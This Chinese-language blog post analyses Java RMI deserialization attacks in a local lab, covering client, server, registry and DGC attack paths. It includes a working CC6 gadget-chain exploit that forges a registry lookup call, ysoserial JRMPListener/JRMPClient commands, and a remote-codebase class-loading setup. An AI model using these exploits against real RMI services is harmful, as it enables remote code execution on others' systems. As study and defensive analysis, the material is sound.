Java RMI 攻击分析(一)

之前看过Java RMI的相关介绍以及攻击讲解,但是没有进行系统的梳理,所以这几天主要学习一下RMI方面的内容,总结一下。

0x00 RMI介绍

Java RMI(Java Remote Method Invocation),即Java远程方法调用。是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。
JRMPJava Remote Message ProtocolJava 远程消息交换协议。这是运行在Java RMI之下、TCP/IP之上的线路层协议。该协议要求服务端与客户端都为Java编写,就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。
RMI 使用 JRMP(Java Remote Message Protocol,Java远程消息交换协议)实现,使得客户端运行的程序可以调用远程服务器上的对象。是实现RPC的一种方式。
一个简单的 RMI 主要由三部分组成,分别是注册端、服务端和客户端。
服务端:
a. 这里定义一个名为 Hello 的接口,其中包含方法sayHello()

1
2
3
4
5
6
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
String sayHello() throws RemoteException;
}

b. 实现接口

1
2
3
4
5
6
7
8
9
10
import java.rmi.RemoteException;

public class HelloImpl implements Hello{

@Override
public String sayHello() throws RemoteException {
System.out.println("Hello RMI");
return "I am Server HelloImpl";
}
}

c. 服务端可以createRegistry也可以getRegistry。其中涉及到两个端口,1098 表示当前对象的 stub 端口,可以用 0 表示随机选择;另外一个是 1099 端口,表示 registry 的监听端口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class Server {

public Server() {}

public static void main(String args[]) {

try {
Hello obj = new HelloImpl();
Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 1098);

// Bind the remote object's stub in the registry
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("Hello", stub);

System.err.println("Server ready");
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}

客户端代码如下:
a. 客户端也应该有一个即将调用的接口类
b. 客户端getRegistry,然后lookup相应方法然后进行调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {

private Client() {}

public static void main(String[] args) {

try {
Registry registry = LocateRegistry.getRegistry(1099);
Hello stub = (Hello) registry.lookup("Hello");
String response = stub.sayHello();
System.out.println("response: " + response);
} catch (Exception e) {
System.err.println("Client exception: " + e.toString());
e.printStackTrace();
}
}
}

放一张RMI的交互图

00

0x01 攻击

参与一次 RMI 调用的有三个角色,分别是 Server 端,Registry 端和 Client 端。在上面的 RMI 调用过程中我们可以发现,全部的通信流程均通过反序列化实现,而且在三个角色中均进行了反序列化的操作。那也就说明针对三端都有攻击的可能,

探测利用开放的RMI服务

我们要调用一个存在危险功能的RMI服务端需要知道:RMI对象a、方法b、参数c,即a.b(c)
自然会认为我们作为RMI客户端向RMI注册端查询有哪些RMI服务端,然后再去RMI服务端查询接口和参数,再根据返回的接口和参数,构造利用就好了。但是RMI通讯流程,好像压根就没有RMI客户端向RMI服务端查询接口(方法和参数)的这一步骤,都是本地写一个一模一样的接口然后直接调用的。

BaRMIe

我们可以使用BaRMIe工具去探测。工具提供了两种利用模式——enum枚举模式,attack攻击模式。

第一步:ep = this._enumerator.enumerateEndpoint(this._target);

作为RMI客户端向RMI注册端获取RMI服务端信息,这里叫做Endpoint,并分析EndpointRMI服务端

  • 1.LocateRegistry.getRegistry获取目标IP端口的RMI注册端
  • 2.reg.list()获取注册端上所有服务端的Endpoint对象
  • 3.使用reg.unbind(unbindName);解绑一个不存在的RMI服务名,根据报错信息来判断我们当前IP是否可以操控该RMI注册端(如果可以操控,意味着我们可以解绑任意已经存在RMI服务,但是这只是破坏,没有太大的意义,就算bind一个恶意的服务上去,调用它,也是在我们自己的机器上运行而不是RMI服务端)
  • 4.本地起一个代理用的RMI注册端,用于转发我们对于目标RMI注册端的请求(在RaRMIe中,通过这层代理用注册端可以变量成payload啥的,算是一层封装;在这里用于接受原始回应数据,再进行解析)
  • 5.通过代理服务器reg.lookup(objectNames[i]);遍历之前获取的所有服务端的Endpoint
  • 6.通过代理服务器得到lookup返回的源数据,自行解析获取对应对象相应的类细节。(因为直接让他自动解析是不会有响应的类信息的)

至此就获取了如下信息,可以看到会解析出RMI服务端的类名等等。
01
如果这些信息都获取成功,就会判定为这个端口是一个注册端。但是实际上你一个根本没开的端口扫描结果也会跟你说是一个RMI服务接口,随便看看就好了,相当于失败了。

第二步:attacks = RMIAttackFactory.findAttacksForEndpoint(ep);

对于所有EndpointRMI服务端)进行遍历,再一一调用攻击模块判断是否可以攻击。
把他们根据攻击类型划分如下:

  • RMI客户端探测利用RMI服务:
1
2
3
4
5
Axiom
-DeleteFile
-ListFiles
-ReadFile
-WriteFile
  • RMI客户端反序列化攻击RMI服务端——利用Object类型参数(RMI服务端提供的对象的方法参数有一个是Obejct类型)
1
2
3
4
5
Java
-JmxDeser
SpringFramework
-RmiInvocationHandlerDeser
-Spring2RmilnvocationHandlerDeser
  • RMI服务端攻击RMI注册端——Bind类攻击
1
2
Java
-IllegalRegistryBind

以上当然这就有超出了探测利用RMI服务以外的类型,我们先划分出来。看看调用攻击模块之后做了什么,再回过头一个个分析攻击模块。

第三步:deserPayloads = DeserPayloadFactory.findGadgetsForEndpoint(ep);

对于所有EndpointRMI服务端)进行遍历,尝试判断是否存在反序列化利用链。
其判断的原理大概是,判断RMI注册端提供的RMI服务端的对象class(如:com.lala.User)的路径中(不是非常确定?),是否包含存在已知反序列化利用链的jar包。
这是一个比较不靠谱的判断是否存在反序列化利用链的方法,反正我靶机中服务端有CC利用链,但是无法探测到。

其中工具中已知反序列化利用链的jar包类别如下:

1
2
3
4
5
CommonsCollectionsPayload
GroovyPayload
JBossInterceptorsPayload
ROMEPayload
RhinoPayload
看看探测利用开放的RMI服务的攻击模块是怎么实现的

4个攻击模块DeleteListReadWrite都是针对AxiomSL这个组件。看一个List的。
描述:AxiomSL公开一个对象FileBrowserStub,它有一个list files()方法,该方法返回给定目录中的文件列表。
在判断是否存在漏洞时会去判断RMI服务返回的对象的class栈中是否存在以下class路径:

1
axiomsl.server.rmi.FileBrowserStub

判断存在该class路径后,再进行利用;实际利用代码也很简单,就是普通的RMI服务调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//nb.barmie.modes.attack.attacks.Axiom.ListFiles#executeAttack
public void executeAttack(RMIEndpoint ep) throws BaRMIeException {
//一些参数设定

//用户输入一个想要列出的文件目录
path = this.promptUserForInput("Enter a path to list files from: ", false);
System.out.println("");

//向eq(RMI服务端)lookup一个FileBrowserStub对象
//同时本地也写好了FileBrowserStub接口
System.out.println("[~] Getting fileBrowser object...");
fbs = (FileBrowserStub)this.getRemoteObject(ep, "fileBrowser");

//调用listFilesOnServer方法获取调用结果
files = fbs.listFilesOnServer(path);

}

/***********************************************************
* FileBrowserStub for AxiomSL attacks.
**********************************************************/
public abstract interface FileBrowserStub extends Remote {
public abstract FileInformation[] listFilesOnServer(String paramString) throws RemoteException;
public abstract byte[] readFile(String paramString, long paramLong, int paramInt) throws IOException;
public abstract void writeFile(String paramString, byte[] paramArrayOfByte) throws IOException;
public abstract boolean deleteFile(String paramString, boolean paramBoolean) throws RemoteException;
public abstract FileInformation getFileInformation(String paramString) throws RemoteException;
}

那这边也就清楚了,实际上探测利用开放的RMI服务,根本只是攻击者自己知道有哪些组件会提供危险的RMI服务。然后根据class路径去判断对面是否使用了该组件,如果用了就尝试打一打看看成不成功。
假如对面提供了我们一个不认识的RMI服务,我们是没有能力攻击的。
但是,因为我们没有RMI服务对象的接口(方法+参数)。就算对面开放了一个Class名字可疑的服务,我们也没有办法去正确调用它。
可见这种理论存在但是不怎么被人讨论的攻击方法总是有些鸡肋。

客户端攻击服务端

传递恶意参数

Client 端获取到 Server 端创建的 Stub 后,会在本地调用这个 Stub 并传递参数,Stub 会序列化这个参数,并传递给 Server 端,Server 端会反序列化 Client 端传入的参数并进行调用,如果这个参数是 Object 类型的情况下,Client 端可以传给 Server 端任意的类,直接造成反序列化漏洞。
例如,远程调用的接口 RemoteInterface 存在一个 sayHello 方法,参数是 Object 类型。
1
那我们就直接可以传一个反序列化 payload 进去执行,这里我以 CC6 弹计算器为例:
2
那么如果参数类型不是 Object 类型或者参数不是我们构造payload的类型,改怎么进行攻击?
首先看一下当Client端的interfaceServer端不一致时,会发生什么。
ServerinterfacesayHello方法参数改成自定义类,将Client端的interfacesayHello方法参数为Object
3
4
此时运行,会抛出异常 unrecognized method hash: method not supported by remote object
5
其实就是在服务端没有找到对应的调用方法。这个找对应方法其实是在 UnicastServerRefdispatch 方法中在 this.hashToMethod_Map 中通过 Methodhash 来查找的。这个 hash 实际上是一个基于方法签名的 SHA1 hash 值。
6
那有没有一种可能,我们传递的是 Server 端能找到的参数是 HelloObjectMethodhash,但是传递的参数却不是 HelloObject 而是恶意的反序列化数据(可能是 Object或其他的类)呢?

答案是可以的,在 mogwailabsPPT 中提出了以下 4 种方法:

  • 将 java.rmi 包的代码复制到一个新的包中,并在那里更改代码
  • 将调试器附加到正在运行的客户端并在对象序列化之前替换它们
  • 使用Javassist 之类的工具更改字节码
  • 通过实现代理替换网络流上已经序列化的对象

并且在 PPT 中还给出了 hook 点,那就是动态代理中使用的
RemoteObjectInvocationHandlerinvokeRemoteMethod 方法。
BaRMIe采用第四点也就是代理替换序列化对象,而在attacking-java-rmi-services-after-jep-290中使用的方法是hookjava.rmi.server.RemoteObjectInvocationHandler 类中的invokeRemoteMethod,正对应的第二个方法,
Afant1 师傅使用了 hook方式,在这篇文章里,0c0c0f 师傅通过实现代理替换网络流上已经序列化的对象方式

debuger测试

Server 端代码不变,我们在 Client 端将 Object 参数和 HelloObject 参数的 sayHello 方法都写上;
7
调用的时候依旧传入Object参数。
RemoteObjectInvocationHandlerinvokeRemoteMethod 方法处下断点,观察当前方法的hash值。
8
Method 改为服务端存在的 HelloObjectMethod
9
在观察一下此时methodhash值,已经变化
10
继续执行,弹出计算器
11

注意:debug时,要观察当前method是不是要修改的method,是的话就修改method = RemoteInterface.class.getDeclaredMethod("sayHello",HelloObject.class),不是就在上一条语句打断点继续调试观察。

Server端的sun.rmi.server.UnicastServerRef#dispatch下断点
化简一下大概流程

1
2
3
4
5
6
//var4是传入的Method hash 拿到对应的method
Method var42 = (Method)this.hashToMethod_Map.get(var4);
//var1是远程对象 var7是传入的参数输入流 调用this.unmarshalParameter对应的去反序列化成参数
var9 = this.unmarshalParameters(var1, var42, var7);
//最后调用方法得到结果
var10 = var42.invoke(var1, var9);

this.unmarshalParameters最后会走到sun.rmi.server.UnicastRef#unmarshalValue
12
可以看到,除了基础数据类型,其他的类型均会调用 readObject 进行反序列化,甚至原本 String 类型的参数也会走 readObject 反序列化,那么结合之前的替换手段,总结起来就是:
Server 端的调用方法存在非基础类型的参数时(在u242之前,String类也是直接调用的readObject),就可以被恶意 Client 端传入恶意数据流触发反序列化漏洞
Integer参数也是可以利用的。Integerint的封装类,不是一个基本类,实际上Integer.TYPE不是Integer类是基础类intInteger !=int,不是基础类

BaRMIe中3.通过非法的方法调用进行反序列化攻击是通过使用 TCP 代理在网络级别修改方法参数来实现这一点。

Afant1/RemoteObjectInvocationHandler复现

afanti师傅用的是通过RASP hookjava.rmi.server.RemoteObjectInvocationHandler类的InvokeRemoteMethod方法的第三个参数非Object的改为Objectgadget
hook1
我启动了一个服务器,具体内容如下:
hook2
hook3
在另一个路径启动包含RemoteObjectInvocationHandlerClient,使用的payloadCC6withHashMap
后面就在VM option处设置启动参数即可。
Client端正常报错
hook4
服务器反弹shell,判断路径是Server端反弹来的shell
hook5

动态类加载

RMI 有一个重要的特性,就是动态类加载机制,当本地 ClassPath 中无法找到相应的类时,会在指定的 codebase 里加载 class。这个特性在 6u45/7u21 之前都是默认开启的。
为了能够远程加载目标类,需要 Server 加载并配置 SecurityManager,并设置 java.rmi.server.useCodebaseOnly=false
Server 端调用 UnicastServerRefdispatch 方法处理客户端请求,调用 unmarshalParameters 方法反序列化客户端传来的参数。
反序列化过程由 RMI 封装类 MarshalInputStream 来实现,会调用 resolveClass 来解析 Class
13
首先通过 this.readLocation() 方法读取流中序列化的 java.rmi.server.codebase 地址,这部分信息是 Client 端传来的,然后判断 this.useCodebaseOnly 的值必须为 false,最后调用 RMIClassLoader.loadClass() 方法加载类,这部分实际上是委托 sun.rmi.server.LoaderHandler 来实现的,最终调用 loadClassForName 方法,通过 Class.forName() 传入自定义类加载器 LoaderHandler$Loader 来从远程地址加载类。LoaderHandler$LoaderURLClassLoader 的子类。
无论 Server 端还是 Client 端,只要有一端配置了 java.rmi.server.codebase,这个属性都会跟随数据流在两端流动。
因此 Client 端可以通过配置此项属性,并向 Server 端传递不存在的类,使 Server 端试图从 java.rmi.server.codebase 地址中远程加载恶意类而触发攻击。
测试:
Server加载并配置 SecurityManager

1
2
3
4
if (System.getSecurityManager() == null) {
System.out.println("setup SecurityManager");
System.setSecurityManager(new SecurityManager());
}

设置server.policy

1
2
3
grant {
permission java.security.AllPermission;
};

IDEA中设置VM option或设置命令行启动参数:-Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=/path/server.policy
启动
14

远程服务器:
保存恶意class文件,开启http服务
注意,为了避免报错恶意类要设置serialVersionUID
15

client端在IDEA中设置VM option或设置命令行启动参数:-Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://localhost:9999/
注意测试时注意接口类包名问题
启动
可以看一下远程服务器接收到请求了
16
服务端弹出计算器
17

替身攻击

在讨论对 Server 端的攻击时,还出现了另外一种针对参数的攻击思路,su18称为替身攻击。依旧是用来绕过当参数不是 Object,是指定类型,但是还想触发反序列化的一种讨论。
大体的思路就是调用的方法参数是 HelloObject,而攻击者希望使用 CC 链来反序列化,比如使用了一个入口点为 HashMapPOC,那么攻击者在本地的环境中将 HashMap 重写,让 HashMap 继承 HelloObject,然后实现反序列化漏洞攻击的逻辑,用来欺骗 RMI 的校验机制。
这的确是一种思路,但是还不如 hook RMI 代码修改逻辑来得快,所以这里不进行测试。

服务端攻击客户端

客户端主要有两个交互行为,第一是从 Registry 端获取调用服务的 stub 并反序列化,这步可以进行注册中心攻击客户端;第二是调用服务后获取执行结果并反序列化,这步可以进行服务端攻击客户端
方式有以下两种:

  • 恶意 Server 端返回值
  • 动态类加载

恶意 Server 端返回值

同攻击 Server 端的恶意服务参数,Server 端返回给 Client 端恶意的返回值,Client 端反序列化触发漏洞。
ServerRemoteObject#evil返回恶意的HashMap

18
Client端调用这个方法,接收恶意返回值,触发漏洞。

19

动态类加载

同攻击 Server 端的动态类加载,Server 端返回给 Client 端不存在的类,要求 Client 端去 codebase 地址远程加载恶意类触发漏洞,不再赘述。

服务端与客户端攻击注册中心

服务端和客户端攻击注册中心的方式是相同的,都是远程获取注册中心后传递一个恶意对象进行利用。
这里的Server端其实是相对Registry来说的,所以在这里,客户端和服务端都可以称为Server端。

bind() & rebind()

在使用 Registry 时,首先由 Server 端向 Registry 端绑定服务对象,这个对象是一个 Server 端生成的动态代理类,Registry 端会反序列化这个类并存在自己的 RegistryImplbindings 中,以供后续的查询。所以如果我们是一个恶意的 Server 端,向 Registry 端输送了一个恶意的对象,在其反序列化时就可以触发恶意调用。

可以看到这里我依旧是用了 CC6 ,因为 bind 的参数是需要是 Remote 类型的,所以这里使用了 AnnotationInvocationHandler 来代理了 Remote 接口,形成了反序列化漏洞。
AnnotationInvocationHandler本身实现了InvocationHandler接口,再通过代理类封装可以进行类型转换。又因为反序列化存在传递性,当remote被反序列化时,invocationHandler也会被反序列化,自然也会执行poc链。
20

这里需要 Registry 端具有相应的依赖及相应 JDK 版本需求,我是使用的是JDK1.8.0_05
使用高版本测试时,会报异常,

这个攻击手段实际上就是 ysoserial 中的 ysoserial.exploit.RMIRegistryExploit 的实现原理。
除了 bindrebind()也可以这样利用。但是lookupunbind只有一个String类型的参数,不能直接传递一个对象反序列化。得寻找其他的方式。。也就是说,Server 端和 Client 端都可以攻击 Registry 端。

unbind & lookup

unbind的利用方式跟lookup是一样的。这里以lookup为例。
注册中心在处理请求时,是直接进行反序列化再进行类型转换
但是注意,RMI Registry也会返回数据,然后lookup的发送方会对数据进行了反序列化,此时会形成反制
如果我们要控制传递过去的序列化值的话,不能直接传递给lookup这个方法,因为它的参数是一个String类型。但是它发送请求的流程是可以直接复制的,只需要模仿lookup中发送请求的流程,就能够控制发送过去的值为一个对象。
21

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public class Client {
public static Object getEvil() throws NoSuchFieldException, IllegalAccessException {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"cmd"}),

};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);

HashMap hashMap = new HashMap<>();
Map map = LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(map,"key1");
HashMap hashMap1 = new HashMap();
hashMap1.put(tiedMapEntry,"alter");
map.remove("key1");

Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);

return hashMap1;
}
public static void main(String[] args) throws Exception {

Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 1099);

// 获取super.ref
Field[] fields_0 = registry_remote.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry_remote);

// 获取operations
Field[] fields_1 = registry_remote.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry_remote);

// 跟lookup方法一样的传值过程
RemoteCall var2 = ref.newCall((RemoteObject) registry_remote, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(getEvil());
ref.invoke(var2);

registry_remote.lookup("HelloRegistry");
System.out.println("rmi start at 3333");
}
}

新建Project写入Client,反弹shell,并查看PWD,测试成功。
虽然抛出异常,提示无法转成String,但依旧可以反弹shell
22

注册中心攻击服务端与客户端

Client 端在 Registrylookup 后会拿到一个 Server 端注册在 Registry 端的代理对象并反序列化触发漏洞。

可以用ysoserial生成一个恶意的注册中心,当调用注册中心的方法时,就可以进行恶意利用。

1
java -cp ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections6 '/System/Applications/Calculator.app/Contents/MacOS/Calculator'

23
除了list()之外,其余的操作也可以进行利用:

1
2
3
4
5
list()
bind()
rebind()
unbind()
lookup()

攻击DGC

DGC(distributed garbage-collection,分布式垃圾回收) 是指JAVA支撑远程方法调用设计的一套分布式垃圾收集协议。
RMI 定义了一个 java.rmi.dgc.DGC 接口,提供两个方法,一个是dirty,一个是clean具体的来说

  • 客户端在调用远程方法时,首先会向服务端发起一次dirty call,以通知服务端短时间内不要回收对应的远程对象
  • 服务端返回给客户端一个lease,该对象告诉了客户端接下来多久的时间内该对象是有效的。如果客户端在时间到期后还需要使用该对象,则需要继续调用dirty call
  • DGCClient会跟踪每一个dirty call对应的liveRef,当他们在客户端已经不再有效后,就会发起clear call告诉服务端可以回收有关对象了

这个接口有两个实现类,分别是 sun.rmi.transport.DGCImpl 以及 sun.rmi.transport.DGCImpl_Stub,同时还定义了 sun.rmi.transport.DGCImpl_Skel

很像 RegistryRegistryImplRegistryImpl_StubRegistryImpl_Skel,实际上不单是命名相近,处理逻辑也是类似的。通过在服务端和客户端之间传递引用,依旧是 StubSkel 之间的通信模式:Server 端启动 DGCImpl,在 Registry 端注册 DGCImpl_StubClient 端获取到 DGCImpl_Stub,通过其与 Server 端通信,Server 端使用 RegistryImpl_Skel 来处理。

可以在 Server 端的 ObjectTable 中找到由 Target 封装的 DGCImpl,在 Registry 端的 ObjectTable 中找到由 Target 封装的 DGCImpl_Stub
DGC 通信的处理类是 DGCImpl_Skeldispatch 方法,依旧通过 Java 原生的序列化和反序列化来处理对象。
24

看到这里就明白了,伴随着 RMI 服务启动的 DGC 通信,也存在被 Java 反序列化利用的可能。我们只需要构造一个 DGC 通信并在指定的位置写入序列化后的恶意类即可。

由于 DGC 通信和 RMI 通信在 Transport 层是同样的处理逻辑,只不过根据 Client 端写入的标记来区分是由 RegistryImpl_Skel 还是 DGCImpl_Skel 来处理,因此我们可以使用 DGC 来攻击任意一个由 JRMP 协议监听的端口,包括 Registry 端监听端口、RegistryImpl_Stub 监听端口、DGCImpl_Stub 监听端口。
不过由于后两者的端口号是随机的,因此通常使用 DGC 层来攻击 Registry 端。
这个攻击手段实际上就是 ysoserial 中的 ysoserial.exploit.JRMPClient 的实现原理。

ysoserial.exploit.JRMPClient利用RMIJRMP协议发送恶意的序列化包攻击示例,采用Socket协议发送序列化数据,不会反序列化RMI服务器端的数据,这样能有效防止反制

注意:
网上的文章讲到RMIDGC层,经常总结说到:是为了绕过RMI注册端jdk8u121后出现的白名单限制才出现的。
这也是对的,但是也不是完全对。在开始前我们需要区分:
ysoserial的payload JRMPClient 是为了绕过jdk8u121后出现的白名单限制。这利用到了DGC层,所以上面句话也是对的。
ysoserial的exploit JRMPClient 是可以直接利用DGC层攻击RMI注册端的,其基础原理跟ysoserial-RMI-RegistryExploit几乎是一样的。同时这种攻击方式是绕过不过jdk8u121的。

测试:
使用ysoserialexploit JRMPClient攻击DGC服务端
开启服务端
启动ysoserial

1
java -cp ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections6 "/System/Applications/Calculator.app/Contents/MacOS/Calculator"

25

总结

探测利用开放的RMI服务

实际上就是蒙,赌它有这些漏洞RMI服务。

RMI客户端反序列化攻击RMI服务端

不一定是要Object类型的接口才行,只要不是基本类型的参数都可以利用。

RMI服务端反序列化攻击RMI注册端

RMI服务端利用bind攻击注册端的时候,找各种办法把payload变成remote接口这个举动是非必须的,注册端反序列化触发压根不校验。只是为了exp实现而已。
在将payload变成remote接口的过程中,利用到动态代理,但是压根没有利用到动态代理的”拦截器特性”,只是利用了动态代理可以将任意对象转化接口形式的特性。
8u141之后,在利用bind等服务端对于注册端发起的操作时,会因为注册端对于服务端有地址验证而失效。
利用lookup操作,作为客户端对于注册端发起请求,可以绕过上面的地址验证。

其实对于RMI来说,任意一端都可以相互攻击,需要结合实际环境进行攻击。

ysoser
服务端与客户端攻击注册中心(使用了 AnnotationInvocationHandler 来代理了 Remote 接口,形成了反序列化漏洞。)

1
ysoserial.exploit.RMIRegistryExploit

注册中心攻击服务端与客户端

1
java -cp ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections6 '/System/Applications/Calculator.app/Contents/MacOS/Calculator'

利用DGC层攻击RMI注册端

1
java -cp ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections6 "/System/Applications/Calculator.app/Contents/MacOS/Calculator"

贴一张啦啦0咯咯师傅的RMI反序列化攻击总结图
0

⚠️测试的时候注意本地接口要和远端的接口保持一致,包括报名!!!

⚠️测试的时候记得关闭代理,避免不必要的影响

工具

BaRMIe
RemoteObjectInvocationHandler
ysoserial.exploit.RMIRegistryExploit
ysoserial.exploit.JRMPListener
ysoserial.exploit JRMPClient
remote-method-guesser
lalajun / RMIDeserialize
STMCyber / RmiTaste Public

Reference

http://tttang.com/archive/1430/
https://xz.aliyun.com/t/7930
https://www.anquanke.com/post/id/228918
https://xz.aliyun.com/t/8706
https://www.anquanke.com/post/id/200860